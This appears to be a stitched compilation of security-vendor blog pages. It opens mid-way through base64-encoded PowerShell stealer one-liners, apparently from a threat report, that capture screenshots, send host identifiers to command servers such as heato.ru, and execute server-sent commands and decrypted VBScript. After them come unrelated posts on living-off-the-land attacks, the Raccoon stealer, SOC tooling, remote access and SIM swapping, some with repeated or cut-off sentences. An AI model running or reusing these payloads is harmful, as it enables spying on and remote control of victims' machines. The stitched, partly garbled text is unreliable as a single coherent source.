bSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkZmlsZSkpOwogICAgICAgIFJlbW92ZS1JdGVtIC1QYXRoICIkZW52OlVTRVJQUk9GSUxFXHRlc3QucG5nIi1Gb3JjZTsKICAgIH0KICAgIGVsc2V7CiAgICAgICAgJGJhc2U2NHN0cmluZz0icyIKICAgIH0KICAgICRXZWJDbGllbnQ9IE5ldy1PYmplY3QgbmV0LndlYmNsaWVudDsKICAgICRybmRzdHIgPSAtam9pbiAoKDY1Li45MCkgKyAoOTcuLjEyMikgfCBHZXQtUmFuZG9tIC1Db3VudCAxMCB8ICUge1tjaGFyXSRffSk7CiAgICAkdXJsID0gJ2h0dHA6Ly8nKyRpcCsnL2luZGV4LnBocCc7CgogICAgJGE9R2V0LVdtaU9iamVjdCAtUXVlcnkgJCgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2ciKyAiaWNhbGRpc2sgd2hlcmUgRGV2aWNlSUQ9JyRlbnY6U3lzdGVtRHJpdmUnIik7CiAgICBbc3RyaW5nXSRudW1iZXIgPSBbU3lzdGVtLkNvbnZlcnRdOjpUb1VJbnQzMigoJGEpLlZvbHVtZVNlcmlhbE51bWJlciwxNik7CiAgICAkaW5kZXggPSAiaSIgKyAkcm5kc3RyOwogICAgJENvbGxlY3Rpb25zID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuTmFtZVZhbHVlQ29sbGVjdGlvbjsKICAgICRDb2xsZWN0aW9ucy5BZGQoJGluZGV4LCRlbnY6Y29tcHV0ZXJuYW1lKyI7IiskbnVtYmVyKTsKICAgICRDb2xsZWN0aW9ucy5BZGQoImltZyIsJGJhc2U2NHN0cmluZyk7CiAgICAkcmVzcG9uc2UgPSAkV2ViQ2xpZW50LlVwbG9hZFZhbHVlcygkdXJsLCRDb2xsZWN0aW9ucyk7CiAgICBbc3RyaW5nXSRVcmkgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzcG9uc2UpOwogICAgaWYoJFVyaS5MZW5ndGggLWd0IDApewogICAgICAgIGlmKCRVcmlbMF0gLWVxICIhIiApewogICAgICAgICAgICAkY21kID0gaWV4ICRVcmkuU3ViU3RyaW5nKDEpOwogICAgICAgICAgICAkQ29sbGVjdGlvbnMuQWRkKCJjbWQiLCRjbWQpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSAkV2ViQ2xpZW50LlVwbG9hZFZhbHVlcygkdXJsLCRDb2xsZWN0aW9ucyk7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICRjb2RlPSAoJGEpLlZvbHVtZVNlcmlhbE51bWJlcjsKICAgICAgICAgICBSdW5Db2RlICAgJGNvZGUgJHJlc3BvbnNlCiAgICAgICAgfSAKICAgIH0KU3RhcnQtU2xlZXAgLXMgMTgwOwp9IA==')); $couts| iEx
STEALER V2 (supports traffic over TLS 1.2)
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -c $couts =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gUnVuQ29kZSgkY29kZSwkcmVzcG9uc2UpewogICAgW2J5dGVbXV0kYnl0ZXMgPSBuZXctb2JqZWN0IGJ5dGVbXSAkcmVzcG9uc2UuTGVuZ3RoOwogICAgZm9yKCRqPTA7ICRqIC1sdCAkcmVzcG9uc2UuY291bnQgOyAkaisrKXsKICAgICAgICAkbWFzc19lbGVtZW50PSAkaiAlICRjb2RlLkxlbmd0aDsKICAgICAgICAka2V5PSRjb2RlWyRtYXNzX2VsZW1lbnRdOwogICAgICAgICRieXRlc1skal0gPSAkcmVzcG9uc2VbJGpdIC1ieG9yICRrZXk7CiAgICB9OwogICAgJFVyaSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRieXRlcyk7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IE5ldy1PYmplY3QgLUNvbU9iamVjdCBNU1NjcmlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICAgICAgICRzYy5UaW1lb3V0ID0gOTk5OTk5OyAkc2MuTGFuZ3VhZ2UgPSAnVkJTY3JpcHQnOyRzYy5BZGRDb2RlKCRhcmdzWzBdKQogICAgfSAtQXJndW1lbnRMaXN0ICRVcmkgLXJ1bmFzMzI7Cn0KJHAgPSBbRW51bV06OlRvT2JqZWN0KFtTeXN0ZW0uTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXSwgMzA3Mik7CltTeXN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gJHA7CiR3Yz0gTmV3LU9iamVjdCBuZXQud2ViY2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiRyZXNwb25zZSA9ICR3Yy5VcGxvYWREYXRhKCJodHRwczovL3Rvb2xzLm5leGNlc3MubmV0L2Rucy1jaGVjayIsIFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoImlkPXNwcmludC1kbnMmdHlwZT1BJmhvc3RuYW1lPWxlb25hcmRpcy5ydSIpKTsKJGlwID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHJlc3BvbnNlKSB8P3skXyAtbWF0Y2ggIlxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30ifXwleyRNYXRjaGVzWzBdfQoKJHNjcmVlbj0wOwp3aGlsZSgkY291bnQgLWxlIDQpewogICAgaWYoJHNjcmVlbiAtbGUgOSl7CiAgICAgICAgJHNjcmVlbisrOwogICAgICAgIFt2b2lkXVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKTsKICAgICAgICAkc2l6ZSA9IFtXaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbjsKICAgICAgICAkYml0bWFwID0gbmV3LW9iamVjdCBEcmF3aW5nLkJpdG1hcCAkc2l6ZS53aWR0aCwgJHNpemUuaGVpZ2h0OwogICAgICAgICRncmFwaGljcyA9IFtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiaXRtYXApOwogICAgICAgICRncmFwaGljcy5Db3B5RnJvbVNjcmVlbigkc2l6ZS5sb2NhdGlvbixbRHJhd2luZy5Qb2ludF06OkVtcHR5LCAkc2l6ZS5zaXplKTsKICAgICAgICAkZ3JhcGhpY3MuRGlzcG9zZSgpOwogICAgICAgICRiaXRtYXAuU2F2ZSgiJGVudjpVU0VSUFJPRklMRVx0ZXN0LnBuZyIpOwogICAgICAgICRiaXRtYXAuRGlzcG9zZSgpOwogICAgICAgICRmaWxlID0gIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciOwogICAgICAgICRiYXNlNjRzdHJpbmcgPSBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKFtJTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRmaWxlKSk7CiAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciLUZvcmNlOwogICAgfQogICAgZWxzZXsKICAgICAgICAkYmFzZTY0c3RyaW5nPSJzIgogICAgfQogICAgJFdlYkNsaWVudD0gTmV3LU9iamVjdCBuZXQud2ViY2xpZW50OwogICAgJHJuZHN0ciA9IC1qb2luICgoNjUuLjkwKSArICg5Ny4uMTIyKSB8IEdldC1SYW5kb20gLUNvdW50IDEwIHwgJSB7W2NoYXJdJF99KTsKICAgICR1cmwgPSAnaHR0cDovLycrJGlwKycvaW5kZXgucGhwJzsKCiAgICAkYT1HZXQtV21pT2JqZWN0IC1RdWVyeSAkKCJzZWxlY3QgKiBmcm9tIHdpbjMyX2xvZyIrICJpY2FsZGlzayB3aGVyZSBEZXZpY2VJRD0nJGVudjpTeXN0ZW1Ecml2ZSciKTsKICAgIFtzdHJpbmddJG51bWJlciA9IFtTeXN0ZW0uQ29udmVydF06OlRvVUludDMyKCgkYSkuVm9sdW1lU2VyaWFsTnVtYmVyLDE2KTsKICAgICRpbmRleCA9ICJpIiArICRybmRzdHI7CiAgICAkQ29sbGVjdGlvbnMgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5OYW1lVmFsdWVDb2xsZWN0aW9uOwogICAgJENvbGxlY3Rpb25zLkFkZCgkaW5kZXgsJGVudjpjb21wdXRlcm5hbWUrIjsiKyRudW1iZXIpOwogICAgJENvbGxlY3Rpb25zLkFkZCgiaW1nIiwkYmFzZTY0c3RyaW5nKTsKICAgICRyZXNwb25zZSA9ICRXZWJDbGllbnQuVXBsb2FkVmFsdWVzKCR1cmwsJENvbGxlY3Rpb25zKTsKICAgIFtzdHJpbmddJFVyaSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRyZXNwb25zZSk7CiAgICBpZigkVXJpLkxlbmd0aCAtZ3QgMCl7CiAgICAgICAgaWYoJFVyaVswXSAtZXEgIiEiICl7CiAgICAgICAgICAgICRjbWQgPSBpZXggJFVyaS5TdWJTdHJpbmcoMSk7CiAgICAgICAgICAgICRDb2xsZWN0aW9ucy5BZGQoImNtZCIsJGNtZCk7CiAgICAgICAgICAgICRyZXNwb25zZSA9ICRXZWJDbGllbnQuVXBsb2FkVmFsdWVzKCR1cmwsJENvbGxlY3Rpb25zKTsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgJGNvZGU9ICgkYSkuVm9sdW1lU2VyaWFsTnVtYmVyOwogICAgICAgICAgIFJ1bkNvZGUgICAkY29kZSAkcmVzcG9uc2UKICAgICAgICB9IAogICAgfQpTdGFydC1TbGVlcCAtcyAxODA7Cn0g')); $couts| iEx
STEALER V3 ("heato")
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -c $aa='ZnVuY3Rpb24gUnVuQ29kZSgkY29kZSwkcmVzcG9uc2UpewogICAgW2J5dGVbXV0kYnl0ZXMgPSBuZXctb2JqZWN0IGJ5dGVbXSAkcmVzcG9uc2UuTGVuZ3RoOwogICAgZm9yKCRqPTA7ICRqIC1sdCAkcmVzcG9uc2UuY291bnQgOyAkaisrKXsKICAgICAgICAkbWFzc19lbGVtZW50PSAkaiAlICRjb2RlLkxlbmd0aDsKICAgICAgICAka2V5PSRjb2RlWyRtYXNzX2VsZW1lbnRdOwogICAgICAgICRieXRlc1skal0gPSAkcmVzcG9uc2VbJGpdIC1ieG9yICRrZXk7CiAgICB9OwogICAgJFVyaSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRieXRlcyk7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IE5ldy1PYmplY3QgLUNvbU9iamVjdCBNU1NjcmlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICAgICAgICRzYy5UaW1lb3V0ID0gOTk5OTk5OyAkc2MuTGFuZ3VhZ2UgPSAnVkJTY3JpcHQnOyRzYy5BZGRDb2RlKCRhcmdzWzBdKQogICAgfSAtQXJndW1lbnRMaXN0ICRVcmkgLXJ1bmFzMzI7Cn0KJHNjcmVlbj0wOwp3aGlsZSgkY291bnQgLWxlIDQpewogICAgaWYoJHNjcmVlbiAtbGUgOSl7CiAgICAgICAgJHNjcmVlbisrOwogICAgICAgIFt2b2lkXVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKTsKICAgICAgICAkc2l6ZSA9IFtXaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbjsKICAgICAgICAkYml0bWFwID0gbmV3LW9iamVjdCBEcmF3aW5nLkJpdG1hcCAkc2l6ZS53aWR0aCwgJHNpemUuaGVpZ2h0OwogICAgICAgICRncmFwaGljcyA9IFtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiaXRtYXApOwogICAgICAgICRncmFwaGljcy5Db3B5RnJvbVNjcmVlbigkc2l6ZS5sb2NhdGlvbixbRHJhd2luZy5Qb2ludF06OkVtcHR5LCAkc2l6ZS5zaXplKTsKICAgICAgICAkZ3JhcGhpY3MuRGlzcG9zZSgpOwogICAgICAgICRiaXRtYXAuU2F2ZSgiJGVudjpVU0VSUFJPRklMRVx0ZXN0LnBuZyIpOwogICAgICAgICRiaXRtYXAuRGlzcG9zZSgpOwogICAgICAgICRmaWxlID0gIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciOwogICAgICAgICRiYXNlNjRzdHJpbmcgPSBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKFtJTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRmaWxlKSk7CiAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciLUZvcmNlOwogICAgfQogICAgZWxzZXsKICAgICAgICAkYmFzZTY0c3RyaW5nPSJzIgogICAgfQogICAgJFdlYkNsaWVudD0gTmV3LU9iamVjdCBuZXQud2ViY2xpZW50OwogICAgJHJuZHN0ciA9IC1qb2luICgoNjUuLjkwKSArICg5Ny4uMTIyKSB8IEdldC1SYW5kb20gLUNvdW50IDEwIHwgJSB7W2NoYXJdJF99KTsKICAgICR1cmwgPSAnaHR0cDovL2hlYXRvLnJ1L2luZGV4LnBocCc7CgogICAgJGE9R2V0LVdtaU9iamVjdCAtUXVlcnkgJCgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2ciKyAiaWNhbGRpc2sgd2hlcmUgRGV2aWNlSUQ9JyRlbnY6U3lzdGVtRHJpdmUnIik7CiAgICBbc3RyaW5nXSRudW1iZXIgPSBbU3lzdGVtLkNvbnZlcnRdOjpUb1VJbnQzMigoJGEpLlZvbHVtZVNlcmlhbE51bWJlciwxNik7CiAgICAkYWFhID0gJGVudjpjb21wdXRlcm5hbWU7CiAgICAkYWFhID0gJGFhYSsiOyI7CiAgICAkYWFhID0gJGFhYSskbnVtYmVyOwogICAgJENvbGxlY3Rpb25zID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuTmFtZVZhbHVlQ29sbGVjdGlvbjsKICAgICRDb2xsZWN0aW9ucy5BZGQoJCggImkiICsgJHJuZHN0ciksJGFhYSk7CiAgICAkQ29sbGVjdGlvbnMuQWRkKCJpbWciLCRiYXNlNjRzdHJpbmcpOwogICAgJHJlc3BvbnNlID0gJFdlYkNsaWVudC5VcGxvYWRWYWx1ZXMoJHVybCwkQ29sbGVjdGlvbnMpOwogICAgW3N0cmluZ10kVXJpID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHJlc3BvbnNlKTsKICAgIGlmKCRVcmkuTGVuZ3RoIC1ndCAwKXsKICAgICAgICBpZigkVXJpWzBdIC1lcSAiISIgKXsKICAgICAgICAgICAgJGNtZCA9IGlleCAkVXJpLlN1YlN0cmluZygxKTsKICAgICAgICAgICAgJENvbGxlY3Rpb25zLkFkZCgiY21kIiwkY21kKTsKICAgICAgICAgICAgJHJlc3BvbnNlID0gJFdlYkNsaWVudC5VcGxvYWRWYWx1ZXMoJHVybCwkQ29sbGVjdGlvbnMpOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICAkY29kZT0gKCRhKS5Wb2x1bWVTZXJpYWxOdW1iZXI7CiAgICAgICAgICAgUnVuQ29kZSAgICRjb2RlICRyZXNwb25zZQogICAgICAgIH0gCiAgICB9ClN0YXJ0LVNsZWVwIC1zIDE4MDsKfSA=';$couts =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($aa)); $couts| iEx
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Russia-linked group is continually refining its malware and often deploying multiple payloads to maximize chances of maintaining a persistent presence on targeted networks.
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Shut the Door on Ransomware Before it Gets Started
Symantec Adaptive Protection keeps attackers out
Ransomware groups are increasingly using legitimate software to commit attacks. In fact, recent Symantec analysis of ransomware attacks over the past three years (2021-2023) shows evidence that Living-off-the-Land (LOTL) tools – pre-installed legitimate software -- were used in nearly 50% of ransomware attacks. With more and more ransomware attacks making headlines, it’s clear that traditional security methods are not effective against these stealthy attackers.
In a new whitepaper, “Advances in Endpoint Security,” Dave Gruber, Principal Analyst Enterprise Strategy Group (ESG) writes, “More than half of security leaders (52%) reported to ESG that security operations are more challenging than they were two years ago, fueled by a growing and changing attack surface alongside a rapidly changing threat landscape. This includes an increased use of LOTL tools.”
With more and more attackers leveraging legitimate software to gain a foothold and move laterally within a network, it’s clear that defenders need to take a different security approach.
Why LOTL attacks are so persistent
One reason LOTL and dual-use tool-based attacks are so successful is because organizations don’t want to block legitimate software. Because of the nature of these attacks, there are also fewer digital artifacts like IOCs for investigators to use to detect intrusions. In fact, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) highlighted this security challenge in its recent report, Identifying and Mitigating Living Off the Land Techniques: “There is a general lack of conventional indicators of compromise (IOCs) associated with LOTL activity, complicating network defenders’ efforts to identify, track, and categorize malicious behavior.”
In addition, “Businesses are unique and employ LOTL tools in various ways—often differently between business units—so a one-size-fits-all [security] approach is inadequate,” writes Gruber in the new whitepaper, “Advances in Endpoint Security.” And despite the dramatically expanded capabilities of endpoint security solutions in the past 10 years, most continue to depend on a model of monitoring attack patterns and responding to these activities. This reactive approach ignores the changing operating characteristics and dynamics of the devices being protected.
Enter Symantec Adaptive Protection. One of the big benefits of Symantec Adaptive Protection is that you don’t need an IOC to protect against LOTL and related attacks. Symantec analyzes the tools and applications often employed in these attacks, while Adaptive Protection continuously analyzes individual customer operating environments. With a one-year history of where these tools are used in an organization, Adaptive Protection can block tools only where they are not legitimately used. This avoids the risk of false positives, while stopping the malicious use of these tools - cutting off the path that attackers are currently using.
At the time of this writing, Adaptive Protection is tracking a total of 469 specific behaviors across 54 LOTL tools and applications. As new attack methods emerge, the Symantec Global Intelligence Network feeds new data into Adaptive Protection to stay current.
Understanding How Attackers Use LOTL
Our new report, “2024 Ransomware Threat Landscape,” provides a detailed account about how ransomware attackers are eschewing malware to carry out ransomware attacks and, instead, are using LOTL. While PowerShell, WMI and Vssadmin are the top LOTL tools, there are many other pre-installed tools that attackers are using to commit attacks. You can also find a list of these tools in the new ESG whitepaper, “Advances in Endpoint Security.”
As the threat landscape -- including ransomware attacks – continues to evolve, we will continue to innovate to help our customers stay ahead of the threat. Remember, the short- and long-term impact of ransomware attacks is much more than just the cost of the ransom. It’s time to take a new approach to protect against these insidious attacks. We invite you to learn more about Symantec Adaptive Protection at our upcoming webinar and learn how to significantly reduce the risk of LOTL attacks.
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Simple Yet Effective, Raccoon Malware Making Inroads among Cyber Criminals
This easy-to-use Trojan malware isn't fancy but it's nonetheless rapidly gaining customers in the cyber underworld
Cyber criminals are generally a more tech savvy lot than they were a decade ago. But they still don’t need PhDs in computer science to wreak havoc.
Case in point: The sharp increase in the number of attacks featuring a relatively basic malware program called Raccoon that cyber criminals have deployed to abscond with the personal financial information of its victims.
While Raccoon, which first got noticed this past April, may not be the most sophisticated piece of criminal malware ever developed – the code is written in C++ and works on both 32-bit and 64-bit operating systems - it nonetheless gets the job done.
While this easy-to-use Trojan malware isn't fancy but it's nonetheless rapidly gaining customers in the cyber underworld. Once downloaded, Raccoon is able to steal information from browsers, monitor emails and even cryptocurrency wallets.
Cyber researchers say that Raccoon is aggressively marketed for $200 a month on Dark Web forums, where it’s being offered as a `malware-as-a-service' Raccoon against web users. The most recent estimate put the number of victims around the world at around 100,000 – and growing.
While this easy-to-use Trojan malware isn't fancy but it's nonetheless rapidly gaining customers in the cyber underworld.
That’s quite a track record for a piece of malware dismissed by some for having a relatively limited feature set. Despite the reputation issues, Raccoon is a reliable niche weapon that offers a way for nontechnical attackers to get up and running quickly. That’s a big change from the recent past when the biggest risks came from perpetrators who were often more technically advanced than
What’s more, anecdotal testimonials given by traffickers in the underground community suggests that Raccoon’s development team provides reliable customer service. Researchers describe the operation as being responsive with quick replies to questions and comments on underground forums.
It’s still unclear who or what group is behind Raccoon. But there are possible clues about its origins. Once installed, Raccoon connects to a command-and-control server that steals information from the victim machine – but not if it detects language settings on the device set to some eastern European langues. If Raccon finds a match, the malware will abort.
Raccoon doesn’t include a keylogger – for now, though that may soon change. Raccoon’s development team has responded to forum requests with hints they may include a keylogging future in the near future.
The malware most often gets delivered through the deployment exploit kits, phishing attacks containing an attached Word document, and with bundled malware.
Viewed more broadly, Raccoon’s soaring popularity speaks volumes about the continuing commoditization of malware. In this case, the people who developed the malware wanted to create a platform that was simple, if not bare-boned, when compared to other information stealers.
But don’t make the mistake of treating this as something out of the annals of malware-for-dummies. Whatever feature richness Raccoon may lack is more than compensated by its easy-to-deploy functionality. And the apparently professional nature of its support arms means that cyber criminals can always depend on hand-holding whenever they encounter technical problems.
The malware most often gets delivered through the deployment exploit kits, phishing attacks containing an attached Word document, and with bundled malware. Users can mitigate their risk of infection by applying software security patches when they become available. And as always, common sense is your best friend. So, think two or three times before downloading and opening any attachments sent over the Internet.
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Simplifying Cybersecurity Platform Complexity
Streamlining and simplifying SOC operations with unified events and schema
Complexity.
It is something organizations want to avoid and work hard to minimize. And yet complexity can arise over time. Incremental decisions and focused efforts to optimize in one area can lead to complexity for other groups and systems. This is never more true than in SOC operations.
CISOs and SOC Managers rely on a myriad of security tools, each with their own data formats, event types, and integration approaches. Individual decisions that made sense in the context of one goal, like optimization for threat hunting scenarios, led to deployment of multiple tools. In turn, multiple tools made the tasks around integration, data aggregation, data availability, and compliance difficult and complex. And complexity equals costs.
To reduce complexity, a security platform must be optimized to streamline security events from multiple tools. By providing a foundation for streamlined data flows and standardized event schemas, a security platform can ease critical security tasks, including
Threat detection and threat hunting
Digital Forensics and Incident Response (DFIR)
Manual and automated remediation activities
Regulatory compliance
To accomplish this, established standards like OCSF are critical. They provide a common language for security events, overcoming the burdens of API-based integrations. However, there is much more that can be done to address the barriers to data acquisition and eliminate burdensome integration tasks.
Our recent white paper explains how security teams can simplify and streamline SOC operations by overcoming the limitations of API-based integrations and details how event streaming and event schema standards deliver scalability and flexibility.
Read the White Paper “Beyond the API”
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Simplifying Remote Access During a Pandemic
Symantec Secure Access Cloud makes onboarding a large amount of applications easy to do and manage
In a year fraught with massive disruption and change, I believe we all look for hope and inspiration. This story is about one of those silver linings. It summarizes how you can be assured that onboarding a large amount of applications can be an easy thing for you to do and manage. This is a tale of remote access and a pandemic: a Secure Access Cloud use case that says a lot about our universal resiliency and what we can accomplish despite unprecedented challenges.
With the outbreak of the global coronavirus pandemic, we’ve lived through a year of unprecedented changes, particularly when it comes to where and how we work.
Almost overnight, we went from working in well-defined office spaces to working from home and all the challenges that entails. That abrupt shift further accelerated existing digital transformation plans into overdrive.
All this also threw into sharp relief the vulnerabilities of relying on a traditional enterprise network perimeter defense. The rapid mass migration to a borderless workplace in the digital age has rendered meaningless a “castle-and-moat” security concept. That extends to organizations that rely on a virtual private network (VPN) for remote access to their network resources.
VPNs and the COVID-19 Pandemic
The COVID-19 pandemic exposed the weaknesses inherent in VPN remote access security. Chief among them is managing efficient access and delivery of applications to remote users. Security professionals have long known that cyber attacks could exploit that vulnerability by targeting the soft underbelly of the VPN network access layer. Simply put, there are just too many ways for VPN users to gain unauthorized access to an organization’s most valuable network resources. If there is a hole in the company’s firewall policies, determined external or internal attackers are bound to find and leverage it.
Fortunately, there already exists the foundation for a better solution: Secure Access Cloud.
The problem of securely managing application access and delivery to remote users was exacerbated when a large number of employees started working remotely and VPNs could not scale accordingly. The situation was even more complicated for organizations allowing employees to use their own devices (BYOD) to connect to corporate resources. Managing the level of access to applications needed for this unprecedented number of new remote workers – many without access to corporate laptops or working on personal devices – posed new security challenges.
Securely managing a large increase in remote access to applications basically requires mapping individual access policies and applications to users. It ought to be a relatively easy, though time-consuming process, as long as the increase in scale is linear. But it can turn into a very difficult and cumbersome process when there’s an unexpectedly exponential rise in use. Fortunately, there already exists the foundation for a better solution: Secure Access Cloud.
A Cloud Native Solution
Symantec Secure Access Cloud is a cloud-native platform that provides application layer access while cloaking all corporate resources. It is based on a Zero Trust service model that requires verification for user access to any network resource. Secure Access Cloud enhances network access security by leveraging principles of least privilege and micro-segmentation. In essence, it places mini-firewalls around every individual network app or service. By taking a “trust no one or nothing” default position, it greatly reduces the ability of users to access any network resource. And it provides Secure Access Cloud administrators full control to the level of access and complete visibility into the user’s actions – including all BYOD scenarios.
Our Secure Access Cloud team at Symantec, a division of Broadcom (NASDAQ: AVGO), took on the problem of managing remote access as the pandemic raced around the world. Our efforts began in response to a customer who came to us and said, “I want to onboard 40,000 applications, how do I do so?” We went to work and despite the challenges of working from home that so many of you share, we rapidly developed a new feature for Secure Access Cloud that solved the problem. We created a remote desktop (RDP) multi-target app that vastly simplifies onboarding apps for remote users by using a single application for all an organization’s users and their targets.
Here’s a quick demo to show you how Symantec Secure Access Cloud’s new feature makes this happen so easily and efficiently:
How to onboard a large number of RDP applications using Secure Access Cloud's new feature - RDP Multi-Target Application.
With this new feature, enterprises can quickly and easily onboard and manage new applications for any number of users – from the tens to the tens of thousands. Secure Access Cloud synchronizes the necessary user attributes with the target apps. It configures them using just a single application and a single access policy – instead of the potentially thousands of each that would have been required before.
Easy to Do and Manage
Symantec Secure Access Cloud makes onboarding a large amount of applications easy to do and manage. The benefits include:
Enhanced security. Secure Access Cloud is based on a Zero Trust service model that leverages principles of least privilege and micro-segmentation.
Easy to manage. Secure Access Cloud adds a new feature that simplifies the onboarding and managing of access and delivery of applications to remote users.
Reduced administration costs and time. Secure Access Cloud uses a single application and single access policy to handle onboarding any amount of RDP applications.
In closing, I would like to point out that this tale of a pandemic and a Symantec Secure Access Cloud use case - proves how Symantec is able to quickly respond and add new features when needed. We did it with Secure Access Cloud and we will do it again. And perhaps most significantly, it shows how we can all still aspire to and achieve excellence, regardless of the time or the challenge. In these COVID times, I feel that may be the most important message of all.
If you have a feature you would like to see added to Symantec Secure Access Cloud, I urge you to reach out and contact us at: [email protected]
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SIM Swapping Poses New Problems for Phone Security
SIM card fraud is on the upswing as more cyber criminals look to target victims’ mobile phones to take over their accounts.
Typically, the text message comes in late at night. Many people might ignore it.
"You're on the phone with your carrier and just authenticated with an alternative method. Not you? Please call us."
This is what happened to Cody Brown, a software developer and entrepreneur, late one night. He called the number, but his carrier was closed. Eleven minutes later, the attackers had changed his Gmail password. Then his Coinbase password got reset.
Within minutes, the attacker had transferred more than $8,000 out of Brown's Coinbase account, he said in a detailed post-mortem published on Medium.
Brown shoulders the blame for not using two-factor authentication on his Gmail account, but also noted that the attacker was able to fool his service provider.
"After talking at length with customer service reps, I learned that the hacker did not need to give them my pin number or my social security number and was able to get approval to takeover my cell phone number with simple billing information," he said.
Welcome to the world of SIM card fraud.
While not a new attack, taking over a mobile-phone account by gaining access to the SIM card is becoming an increasingly popular way to defeat two-factor authentication that relies on text messages sent to mobile devices.
With two-factor authentication increasingly used to secure important accounts, attackers and fraudsters are actively pursuing ways to compromise mobile devices. One of the least technical methods is to collect billing information on a victim, call up customer service representatives at the victim's carrier, and ask that their SIM card be ported over to a new phone.
Subscriber identity module, or SIM, cards are external processors that perform the cryptographic security for mobile phones. Essentially a smart card, the SIM chips have two important numbers stored on them at their time of manufacture: The International Mobile Subscriber Identity (IMSI) which acts as a username, and the 128-bit Key Identification, or KI, which is essentially a password.
If attackers can convince a customer service representative to port those numbers to a new SIM card, all calls and text messages will go to the attacker's phone, while the victim's phone will be disconnected from the network. Because many people only have a single mobile phone and no land line, getting disconnected can make recovering from an attack nearly impossible.
TechCrunch writer John Biggs notice an attack on his phone last August, when his phone lost network services. The attacker apparently convinced his carrier’s customer service to port the SIM for his mobile phone to a new device. Within minutes, Biggs' e-mail password and Facebook password were changed. Luckily, the carrier was able to reverse the changes and he got his accounts back.
Others did not regain control until the attackers had transferred money out of a targeted account.
While not a new attack, taking over a mobile-phone account by gaining access to the SIM card is becoming an increasingly popular way to defeat two-factor authentication that relies on text messages sent to mobile devices.
"We definitely see a lot of attackers focusing on account recovery," said Brian Duckering, senior product marketing manager with Symantec's enterprise mobile security group. "I got your e-mail, and so I can get into all of your accounts. This is a variation on that, as more and more services are using your phone number as an account recovery tool."
While in 2013, a security researcher found a way to use text messages to steal sensitive SIM card information. However, attackers do not need to use any major vulnerability to take control of your phone via the SIM card. Instead, humans are the weak link—and this time, it's not the users.
Responding to Attack Techniques
Attackers focus on socially engineering technicians and customer support workers, convincing them to port the number over to another phone, often without proving identity or ignoring rules, such as, "Do not port SIM card unless ID is presented in person."
Preventing SIM card attacks involved training and anomaly detection. Most carriers already attempt to prevent SIM card registration from locations far from where a user's phone was last registered. In addition, carriers are increasingly instructing their customer support to never port a SIM card to a new phone without someone presenting ID in person.
Yet, adherence to these measures are spotty.
"The question is whether all of the carriers are interested in putting those measures in place," said Symantec's Duckering. "The fact that the bigger carriers have not done it already is mind boggling."
Users can take their own steps to secure their accounts.
Since 2016, the National Institute of Standards and Technology has warned that using text messages—more formally, the short message service (SMS)—as a second factor is asking for trouble. Officially, the group has "deprecated" the use of the authentication method.
Instead, users should adopt one or more authenticator apps to harden their account recovery. Google, Symantec and Duo Security are among the companies that offer authenticator applications.
